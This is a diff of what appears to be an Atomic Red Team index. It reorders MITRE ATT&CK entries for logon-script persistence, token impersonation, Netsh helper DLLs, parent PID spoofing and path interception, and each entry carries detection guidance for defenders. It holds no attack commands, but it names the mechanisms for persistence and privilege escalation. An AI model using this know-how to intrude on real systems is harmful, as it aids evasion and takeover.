+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-27T16:49:15.786Z'
+      created: '2020-01-10T16:01:15.995Z'
+      x_mitre_platforms:
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0
       description: "Adversaries may use macOS logon scripts automatically executed
         at logon initialization to establish persistence. macOS allows logon scripts
         (known as login hooks) to be executed whenever a specific user logs into a
@@ -15840,29 +16206,29 @@ privilege-escalation:
         be one login hook at a time though and depending on the access configuration
         of the hooks, either local credentials or an administrator account may be
         necessary. "
-      id: attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-27T16:49:15.786Z'
-      created: '2020-01-10T16:01:15.995Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
         or at abnormal times. Look for files added or modified by unusual accounts
         outside of normal administration duties. Monitor running process for actions
         that could be indicative of abnormal programs or executables running upon
         logon.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/002
+        external_id: T1037.002
+        source_name: mitre-attack
+      - source_name: creating login hook
+        description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved
+          July 17, 2017.'
+        url: https://support.apple.com/de-at/HT2420
+      - url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/
+        description: Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved
+          March 27, 2020.
+        source_name: S1 macOs Persistence
       identifier: T1037.002
     atomic_tests:
     - name: Logon Scripts - Mac
@@ -15883,6 +16249,20 @@ privilege-escalation:
         name: manual
   T1037.001:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Logon Script (Windows)
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T23:45:03.153Z'
+      created: '2020-01-10T03:43:37.211Z'
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3
       description: "Adversaries may use Windows logon scripts automatically executed
         at logon initialization to establish persistence. Windows allows logon scripts
@@ -15892,42 +16272,28 @@ privilege-escalation:
         scripts to maintain persistence on a single system. Depending on the access
         configuration of the logon scripts, either local credentials or an administrator
         account may be necessary. "
-      name: Logon Script (Windows)
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.001
-        url: https://attack.mitre.org/techniques/T1037/001
-      - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
-        description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
-          April 27, 2016.
-        source_name: TechNet Logon Scripts
-      - source_name: Hexacorn Logon Scripts
-        url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
-        description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part
-          18. Retrieved November 15, 2019.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-24T23:45:03.153Z'
-      created: '2020-01-10T03:43:37.211Z'
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\Environment\UserInitMprLogonScript</code>.
 
         Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/001
+        external_id: T1037.001
+        source_name: mitre-attack
+      - source_name: TechNet Logon Scripts
+        description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
+          April 27, 2016.
+        url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
+      - url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
+        description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part
+          18. Retrieved November 15, 2019.
+        source_name: Hexacorn Logon Scripts
       identifier: T1037.001
     atomic_tests:
     - name: Logon Scripts
@@ -15957,109 +16323,109 @@ privilege-escalation:
         name: command_prompt
   T1134.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.003
-        url: https://attack.mitre.org/techniques/T1134/003
-      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
-        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
-          April 21, 2017.
-        source_name: Microsoft Command-line Logging
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Make and Impersonate Token
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-02-18T18:03:37.481Z'
+      created: '2020-02-18T18:03:37.481Z'
+      id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819
+      x_mitre_defense_bypassed:
+      - Windows User Account Control
+      - System access controls
+      - File system access controls
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - User
       description: Adversaries may make and impersonate tokens to escalate privileges
         and bypass access controls. If an adversary has a username and password but
         the user is not logged onto the system, the adversary can then create a logon
         session for the user using the <code>LogonUser</code> function. The function
         will return a copy of the new session's access token and the adversary can
         use <code>SetThreadToken</code> to assign the token to a thread.
-      id: attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819
-      type: attack-pattern
+      x_mitre_effective_permissions:
+      - SYSTEM
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-02-18T18:03:37.481Z'
-      created: '2020-02-18T18:03:37.481Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_effective_permissions:
-      - SYSTEM
-      x_mitre_permissions_required:
-      - Administrator
-      - User
-      x_mitre_defense_bypassed:
-      - Windows User Account Control
-      - System access controls
-      - File system access controls
       x_mitre_detection: |-
         If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
 
         If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
 
         Analysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/003
+        external_id: T1134.003
+        source_name: mitre-attack
+      - source_name: Microsoft Command-line Logging
+        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
+          April 21, 2017.
+        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
     atomic_tests: []
   T1546.007:
     technique:
-      created: '2020-01-24T14:26:51.207Z'
-      modified: '2020-03-24T18:28:07.793Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
       type: attack-pattern
-      id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed
-      description: |-
-        Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.
-
-        Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
+      modified: '2020-03-24T18:28:07.793Z'
       name: Netsh Helper DLL
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.007
-        url: https://attack.mitre.org/techniques/T1546/007
-      - url: https://technet.microsoft.com/library/bb490939.aspx
-        description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.
-        source_name: TechNet Netsh
-      - url: https://github.com/outflankbv/NetshHelperBeacon
-        description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved
-          February 13, 2017.
-        source_name: Github Netsh Helper CS Beacon
-      - url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
-        description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL
-          DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.
-        source_name: Demaske Netsh Persistence
-      x_mitre_platforms:
-      - Windows
-      x_mitre_contributors:
-      - Matthew Demaske, Adaptforward
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Command: Command Execution'
       - 'Module: Module Load'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T14:26:51.207Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed
+      description: |-
+        Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.
+
+        Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      x_mitre_contributors:
+      - Matthew Demaske, Adaptforward
       x_mitre_detection: 'It is likely unusual for netsh.exe to have any child processes
         in most environments. Monitor process executions and investigate any child
         processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code>
         registry key for any new or suspicious entries that do not correlate with
         known system files or benign software. (Citation: Demaske Netsh Persistence)'
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/007
+        external_id: T1546.007
+        source_name: mitre-attack
+      - source_name: TechNet Netsh
+        description: Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.
+        url: https://technet.microsoft.com/library/bb490939.aspx
+      - source_name: Github Netsh Helper CS Beacon
+        description: Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved
+          February 13, 2017.
+        url: https://github.com/outflankbv/NetshHelperBeacon
+      - source_name: Demaske Netsh Persistence
+        description: Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL
+          DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.
+        url: https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html
       identifier: T1546.007
     atomic_tests:
     - name: Netsh Helper DLL Registration
@@ -16082,19 +16448,23 @@ privilege-escalation:
         name: command_prompt
   T1037.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1037.003
-        url: https://attack.mitre.org/techniques/T1037/003
-      - source_name: Petri Logon Script AD
-        url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008
-        description: Daniel Petri. (2009, January 8). Setting up a Logon Script through
-          Active Directory Users and Computers in Windows Server 2008. Retrieved November
-          15, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Network Logon Script
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Active Directory: Active Directory Object Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T23:45:25.625Z'
+      created: '2020-01-10T18:01:03.666Z'
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99
       description: "Adversaries may use network logon scripts automatically executed
         at logon initialization to establish persistence. Network logon scripts can
         be assigned using Active Directory or Group Policy Objects.(Citation: Petri
@@ -16104,105 +16474,101 @@ privilege-escalation:
         \ \n \nAdversaries may use these scripts to maintain persistence on a network.
         Depending on the access configuration of the logon scripts, either local credentials
         or an administrator account may be necessary."
-      id: attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-24T23:45:25.625Z'
-      created: '2020-01-10T18:01:03.666Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: Monitor logon scripts for unusual access by abnormal users
         or at abnormal times. Look for files added or modified by unusual accounts
         outside of normal administration duties. Monitor running process for actions
         that could be indicative of abnormal programs or executables running upon
         logon.
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Active Directory: Active Directory Object Modification'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1037/003
+        external_id: T1037.003
+        source_name: mitre-attack
+      - url: https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008
+        description: Daniel Petri. (2009, January 8). Setting up a Logon Script through
+          Active Directory Users and Computers in Windows Server 2008. Retrieved November
+          15, 2019.
+        source_name: Petri Logon Script AD
     atomic_tests: []
   T1134.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134.004
-        url: https://attack.mitre.org/techniques/T1134/004
-      - source_name: DidierStevens SelectMyParent Nov 2009
-        url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
-        description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or
-          Playing With the Windows Process Tree. Retrieved June 3, 2019.'
-      - source_name: Microsoft UAC Nov 2018
-        url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
-        description: Montemayor, D. et al.. (2018, November 15). How User Account
-          Control works. Retrieved June 3, 2019.
-      - source_name: CounterCept PPID Spoofing Dec 2018
-        url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/
-        description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved
-          June 3, 2019.
-      - source_name: CTD PPID Spoofing Macro Mar 2019
-        url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
-        description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro
-          to spoof parent processes and command line arguments. Retrieved June 3,
-          2019.
-      - source_name: XPNSec PPID Nov 2017
-        url: https://blog.xpnsec.com/becoming-system/
-        description: Chester, A. (2017, November 20). Alternative methods of becoming
-          SYSTEM. Retrieved June 4, 2019.
-      - source_name: Microsoft Process Creation Flags May 2018
-        url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
-        description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags.
-          Retrieved June 4, 2019.
-      - description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2)
-          Ataware Ransomware Part 3. Retrieved June 6, 2019.
-        url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3
-        source_name: Secuirtyinbits Ataware3 May 2019
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Parent PID Spoofing
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Process: Process Creation'
+      - 'Process: Process Metadata'
+      x_mitre_version: '1.0'
+      modified: '2021-02-09T14:11:20.296Z'
+      created: '2020-02-18T18:22:41.448Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a
+      x_mitre_defense_bypassed:
+      - Heuristic Detection
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - Administrator
       description: |-
         Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
 
         Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
 
         Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)
-      id: attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-02-09T14:11:20.296Z'
-      created: '2020-02-18T18:22:41.448Z'
       x_mitre_contributors:
       - Wayne Silva, F-Secure Countercept
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_defense_bypassed:
-      - Heuristic Detection
-      - Host forensic analysis
       x_mitre_detection: |-
         Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)
 
         Monitor and analyze API calls to <code>CreateProcess</code>/<code>CreateProcessA</code>, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of <code>CreateProcess</code>/<code>CreateProcessA</code> may also be proceeded by a call to <code>UpdateProcThreadAttribute</code>, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Process: Process Creation'
-      - 'Process: Process Metadata'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134/004
+        external_id: T1134.004
+        source_name: mitre-attack
+      - url: https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
+        description: 'Stevens, D. (2009, November 22). Quickpost: SelectMyParent or
+          Playing With the Windows Process Tree. Retrieved June 3, 2019.'
+        source_name: DidierStevens SelectMyParent Nov 2009
+      - url: https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
+        description: Montemayor, D. et al.. (2018, November 15). How User Account
+          Control works. Retrieved June 3, 2019.
+        source_name: Microsoft UAC Nov 2018
+      - url: https://www.countercept.com/blog/detecting-parent-pid-spoofing/
+        description: Loh, I. (2018, December 21). Detecting Parent PID Spoofing. Retrieved
+          June 3, 2019.
+        source_name: CounterCept PPID Spoofing Dec 2018
+      - url: https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
+        description: Tafani-Dereeper, C. (2019, March 12). Building an Office macro
+          to spoof parent processes and command line arguments. Retrieved June 3,
+          2019.
+        source_name: CTD PPID Spoofing Macro Mar 2019
+      - url: https://blog.xpnsec.com/becoming-system/
+        description: Chester, A. (2017, November 20). Alternative methods of becoming
+          SYSTEM. Retrieved June 4, 2019.
+        source_name: XPNSec PPID Nov 2017
+      - url: https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
+        description: Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags.
+          Retrieved June 4, 2019.
+        source_name: Microsoft Process Creation Flags May 2018
+      - source_name: Secuirtyinbits Ataware3 May 2019
+        description: Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2)
+          Ataware Ransomware Part 3. Retrieved June 6, 2019.
+        url: https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3
       identifier: T1134.004
     atomic_tests:
     - name: Parent PID Spoofing using PowerShell
@@ -16386,9 +16752,28 @@ privilege-escalation:
         name: powershell
   T1034:
     technique:
-      id: attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Path Interception
+      x_mitre_version: '1.0'
+      modified: '2020-07-06T18:49:35.645Z'
+      created: '2017-05-31T21:30:36.140Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      x_mitre_deprecated: true
+      id: attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02
+      revoked: false
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
       description: |-
         **This technique has been deprecated. Please use [Path Interception by PATH Environment Variable](https://attack.mitre.org/techniques/T1574/007), [Path Interception by Search Order Hijacking](https://attack.mitre.org/techniques/T1574/008), and/or [Path Interception by Unquoted Path](https://attack.mitre.org/techniques/T1574/009).**
 
@@ -16410,69 +16795,12 @@ privilege-escalation:
         For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: MSDN Environment Property)
 
         Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1034
-        url: https://attack.mitre.org/techniques/T1034
-      - external_id: CAPEC-159
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/159.html
-      - url: https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
-        description: Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking
-          via .cmd or .bat file. Retrieved July 25, 2016.
-        source_name: TechNet MS14-019
-      - url: http://support.microsoft.com/KB/103000
-        description: Microsoft. (n.d.). CurrentControlSet\Services Subkey Entries.
-          Retrieved November 30, 2014.
-        source_name: Microsoft Subkey
-      - url: https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464
-        description: Baggett, M. (2012, November 8). Help eliminate unquoted path
-          vulnerabilities. Retrieved December 4, 2014.
-        source_name: Baggett 2012
-      - url: https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/
-        description: HackHappy. (2018, April 23). Windows Privilege Escalation – Unquoted
-          Services. Retrieved August 10, 2018.
-        source_name: SecurityBoulevard Unquoted Services APR 2018
-      - url: https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-        description: McFarland, R. (2018, January 26). Windows Privilege Escalation
-          Guide. Retrieved August 10, 2018.
-        source_name: SploitSpren Windows Priv Jan 2018
-      - url: http://msdn.microsoft.com/en-us/library/ms682425
-        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
-          5, 2014.
-        source_name: Microsoft CreateProcess
-      - url: http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120
-        description: Hill, T. (n.d.). Windows NT Command Shell. Retrieved December
-          5, 2014.
-        source_name: Hill NT Shell
-      - url: http://msdn.microsoft.com/en-us/library/ms687393
-        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
-        source_name: Microsoft WinExec
-      - url: https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx
-        description: Microsoft. (n.d.). Environment Property. Retrieved July 27, 2016.
-        source_name: MSDN Environment Property
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      revoked: false
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-07-06T18:49:35.645Z'
-      created: '2017-05-31T21:30:36.140Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
       x_mitre_effective_permissions:
       - User
       - Administrator
       - SYSTEM
+      x_mitre_contributors:
+      - Stefan Kanthak
       x_mitre_detection: "Monitor file creation for files named after partial directories
         and in locations that may be searched for common processes through the environment
         variable, or otherwise should not be user writable. Monitor the executing
@@ -16485,15 +16813,62 @@ privilege-escalation:
         that could lead to other activities, such as network connections made for
         Command and Control, learning details about the environment through Discovery,
         and Lateral Movement."
-      x_mitre_contributors:
-      - Stefan Kanthak
-      x_mitre_version: '1.0'
-      x_mitre_deprecated: true
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1034
+        external_id: T1034
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/159.html
+        external_id: CAPEC-159
+        source_name: capec
+      - source_name: TechNet MS14-019
+        description: Nagaraju, S. (2014, April 8). MS14-019 – Fixing a binary hijacking
+          via .cmd or .bat file. Retrieved July 25, 2016.
+        url: https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/
+      - source_name: Microsoft Subkey
+        description: Microsoft. (n.d.). CurrentControlSet\Services Subkey Entries.
+          Retrieved November 30, 2014.
